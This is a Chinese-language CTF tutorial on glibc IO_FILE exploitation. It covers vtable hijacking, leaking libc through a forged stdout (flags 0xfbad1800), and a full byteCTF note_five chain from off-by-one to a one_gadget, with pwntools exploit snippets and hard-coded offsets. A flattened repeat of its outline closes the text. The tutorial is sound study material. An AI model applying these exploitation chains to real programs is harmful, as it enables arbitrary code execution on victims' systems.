堆进阶学习之第4大利器——IO_File
字数 1451 2025-08-24 23:51:13

IO_FILE 利用技术详解

一、IO_FILE 结构体基础

1. 核心结构体

struct _IO_FILE {
    int _flags;                 /* High-order word is _IO_MAGIC; rest is flags. */
    char* _IO_read_ptr;         /* Current read pointer */
    char* _IO_read_end;         /* End of get area. */
    char* _IO_read_base;        /* Start of putback+get area. */
    char* _IO_write_base;       /* Start of put area. */
    char* _IO_write_ptr;        /* Current put pointer. */
    char* _IO_write_end;        /* End of put area. */
    char* _IO_buf_base;         /* Start of reserve area. */
    char* _IO_buf_end;          /* End of reserve area. */
    char* _IO_save_base;        /* Pointer to start of non-current get area. */
    char* _IO_backup_base;      /* Pointer to first valid character of backup area */
    char* _IO_save_end;         /* Pointer to end of non-current get area. */
    struct _IO_marker* _markers;
    struct _IO_FILE* _chain;     /* 链表指针,连接所有FILE结构 */
    int _fileno;
    int _flags2;
    _IO_off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t* _lock;
};

2. _IO_FILE_plus 扩展结构

struct _IO_FILE_plus {
    _IO_FILE file;
    IO_jump_t* vtable;  // 32位下偏移0x94,64位下偏移0xd8
};

3. 重要全局变量

  • _IO_list_all: FILE 结构链表的头部
  • 标准文件流:
    • _IO_2_1_stderr_
    • _IO_2_1_stdout_
    • _IO_2_1_stdin_

二、vtable 劫持技术

1. vtable 函数指针表

vtable 包含以下函数指针:

void *funcs[] = {
    NULL,       // "extra word"
    NULL,       // DUMMY
    exit,       // finish
    NULL,       // overflow
    NULL,       // underflow
    NULL,       // uflow
    NULL,       // pbackfail
    NULL,       // xsputn (printf)
    NULL,       // xsgetn
    NULL,       // seekoff
    NULL,       // seekpos
    NULL,       // setbuf
    NULL,       // sync
    NULL,       // doallocate
    NULL,       // read
    NULL,       // write
    NULL,       // seek
    pwn,        // close
    NULL,       // stat
    NULL,       // showmanyc
    NULL        // imbue
};

2. 劫持方法

  1. 直接改写vtable函数指针:

    • 通过任意地址写修改vtable中的函数指针
  2. 覆盖vtable指针:

    • 将vtable指针指向可控内存
    • 在可控内存中布置伪造的函数指针表

3. 实际利用案例

以"The_end"题目为例:

# 修改vtable指针和setbuf地址
# 选取 IO_2_1_stdout+160 作为setbuf地址
# IO_2_1_stdout+160-88 就是fake_vtable地址

for i in range(2):
    sd(p64(vtable + i))
    sd(p64(fake_vtable)[i])

for i in range(3):
    sd(p64(fake_setbuf + i))
    sd(p64(onegadget)[i])

三、IO_2_1_stdout_ 地址泄露技术

1. 函数调用链分析

puts函数调用链:
puts -> _IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow

2. 关键源码分析

_IO_puts 源码

int _IO_puts(const char *str) {
    int result = EOF;
    _IO_size_t len = strlen(str);
    _IO_acquire_lock(_IO_stdout);
    if ((_IO_vtable_offset(_IO_stdout) != 0 || _IO_fwide(_IO_stdout, -1) == -1)
        && _IO_sputn(_IO_stdout, str, len) == len
        && _IO_putc_unlocked('\n', _IO_stdout) != EOF)
        result = MIN(INT_MAX, len + 1);
    _IO_release_lock(_IO_stdout);
    return result;
}

_IO_new_file_overflow 源码

int _IO_new_file_overflow(_IO_FILE *f, int ch) {
    if (f->_flags & _IO_NO_WRITES) {  // 需要f->_flags & _IO_NO_WRITES == 0
        f->_flags |= _IO_ERR_SEEN;
        __set_errno(EBADF);
        return EOF;
    }
    
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) {
        // 需要f->_flags & _IO_CURRENTLY_PUTTING == 1
        ...
    }
    
    if (ch == EOF)
        return _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
        // 目标函数,相当于write(1, buf, size)
    
    ...
}

new_do_write 源码

static _IO_size_t new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do) {
    if (fp->_flags & _IO_IS_APPENDING)  // 需要fp->_flags & _IO_IS_APPENDING == 1
        fp->_offset = _IO_pos_BAD;
    else if (fp->_IO_read_end != fp->_IO_write_base) {
        // 需要避免进入这个分支
        ...
    }
    
    count = _IO_SYSWRITE(fp, data, to_do);  // 最终输出,系统调用write
    ...
}

3. 利用条件

  1. 需要劫持stdout结构体
  2. 通常通过UAF或unsorted bin切割法获取地址
  3. 修改FD指针指向stdout-xx位置(需要有0x7f或0xff的size)

4. 利用步骤

  1. 通过unsorted bin泄露main_arena地址
  2. 修改FD指针指向stdout结构体附近
  3. 申请内存并修改stdout结构体:
    • 修改flags为0xfbad1800
    • 修改_IO_write_base末尾为'\x00'
  4. 触发输出泄露libc地址

5. 示例代码

# 劫持stdout结构体
malloc(0, 0x400)
malloc(1, 0x60)
malloc(2, 0x20)
free(0)
malloc(3, 0x60)
malloc(4, 0x60)
malloc(5, 0x60)
free(3)
free(4)
edit(4, 1, '\xe0')

# 修改FD指向stdout结构体
edit(5, 2, '\xdd\x75')
malloc(4, 0x60)

# 修改stdout结构体
py = ''
py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
malloc(5, 0x60)
edit(5, len(py), py)

# 获取泄露的地址
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600

四、综合利用案例:byteCTF note_five

1. 题目特点

  • 保护全开
  • 存在offbyone漏洞
  • 没有puts函数可以泄露地址

2. 利用思路

  1. 利用offbyone实现overlap
  2. 利用overlap改BK指针,攻击global_max_fast
  3. 改FD指针为stdout-0x51实现劫持
  4. 改stdout结构体泄露真实地址
  5. 伪造stderr的vtable
  6. 通过malloc大块触发_IO_flush_all_lockp执行onegadget

3. 关键步骤代码

# 利用offbyone实现overlap
malloc(0, 0xf8)
malloc(1, 0xf8)
malloc(2, 0xe8)
malloc(3, 0xf8)
malloc(4, 0xf8)
free(0)
payload = 'c'*0xe0 + p64(0x2f0) + '\x00'
edit(2, payload)
free(3)

# 攻击global_max_fast
malloc(0, 0x2f0-0x10)
payload = '\x11'*0xf0
payload += p64(0) + p64(0x101)
payload += '\x22'*0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0, payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229

# 劫持stdout
payload = '\x11'*0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8-0x10) + '\n'
edit(0, payload)

# 泄露地址
malloc(3, 0xf8)
payload = 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4, payload)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600

# 伪造stderr的vtable
onegadget = libc_base + 0xf1147
fake_vtable = libc_base + 0x3c5600 - 8
py = '\x00' + p64(libc_base + 0x3c55e0) + p64(0)*3 + p64(0x1) + p64(0) + p64(onegadget) + p64(fake_vtable) + '\n'
edit(4, py)

# 触发
malloc(1, 1000)

五、总结与关键点

1. 关键知识点

  1. FILE结构体布局:理解_IO_FILE和_IO_FILE_plus结构
  2. vtable机制:掌握vtable的位置和函数指针调用方式
  3. 标准文件流:stdin/stdout/stderr在内存中的位置
  4. 函数调用链:puts/printf等函数如何最终调用vtable中的函数

2. 利用技巧

  1. 条件控制

    • 控制flags避免进入错误分支
    • 合理设置_IO_write_base等指针
  2. 地址泄露

    • 通过修改stdout结构体实现地址泄露
    • 需要合适的flags值(如0xfbad1800)
  3. 劫持方法

    • 直接修改vtable函数指针
    • 伪造整个vtable结构

3. 防御绕过

  1. 针对保护全开的程序,需要结合多种技术:

    • 堆布局控制
    • 利用offbyone等漏洞
    • 结合IO_FILE和vtable机制
  2. 注意指针修改的精确性,特别是在ASLR环境下

通过深入理解IO_FILE结构和相关机制,可以开发出多种有效的利用技术,在CTF比赛和实际漏洞利用中发挥重要作用。

IO_ FILE 利用技术详解 一、IO_ FILE 结构体基础 1. 核心结构体 2. _ IO_ FILE_ plus 扩展结构 3. 重要全局变量 _IO_list_all : FILE 结构链表的头部 标准文件流: _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_ 二、vtable 劫持技术 1. vtable 函数指针表 vtable 包含以下函数指针: 2. 劫持方法 直接改写vtable函数指针 : 通过任意地址写修改vtable中的函数指针 覆盖vtable指针 : 将vtable指针指向可控内存 在可控内存中布置伪造的函数指针表 3. 实际利用案例 以"The_ end"题目为例: 三、IO_ 2_ 1_ stdout_ 地址泄露技术 1. 函数调用链分析 puts函数调用链: puts -> _IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow 2. 关键源码分析 _ IO_ puts 源码 _ IO_ new_ file_ overflow 源码 new_ do_ write 源码 3. 利用条件 需要劫持stdout结构体 通常通过UAF或unsorted bin切割法获取地址 修改FD指针指向stdout-xx位置(需要有0x7f或0xff的size) 4. 利用步骤 通过unsorted bin泄露main_ arena地址 修改FD指针指向stdout结构体附近 申请内存并修改stdout结构体: 修改flags为0xfbad1800 修改_ IO_ write_ base末尾为'\x00' 触发输出泄露libc地址 5. 示例代码 四、综合利用案例:byteCTF note_ five 1. 题目特点 保护全开 存在offbyone漏洞 没有puts函数可以泄露地址 2. 利用思路 利用offbyone实现overlap 利用overlap改BK指针,攻击global_ max_ fast 改FD指针为stdout-0x51实现劫持 改stdout结构体泄露真实地址 伪造stderr的vtable 通过malloc大块触发_ IO_ flush_ all_ lockp执行onegadget 3. 关键步骤代码 五、总结与关键点 1. 关键知识点 FILE结构体布局 :理解_ IO_ FILE和_ IO_ FILE_ plus结构 vtable机制 :掌握vtable的位置和函数指针调用方式 标准文件流 :stdin/stdout/stderr在内存中的位置 函数调用链 :puts/printf等函数如何最终调用vtable中的函数 2. 利用技巧 条件控制 : 控制flags避免进入错误分支 合理设置_ IO_ write_ base等指针 地址泄露 : 通过修改stdout结构体实现地址泄露 需要合适的flags值(如0xfbad1800) 劫持方法 : 直接修改vtable函数指针 伪造整个vtable结构 3. 防御绕过 针对保护全开的程序,需要结合多种技术: 堆布局控制 利用offbyone等漏洞 结合IO_ FILE和vtable机制 注意指针修改的精确性,特别是在ASLR环境下 通过深入理解IO_ FILE结构和相关机制,可以开发出多种有效的利用技术,在CTF比赛和实际漏洞利用中发挥重要作用。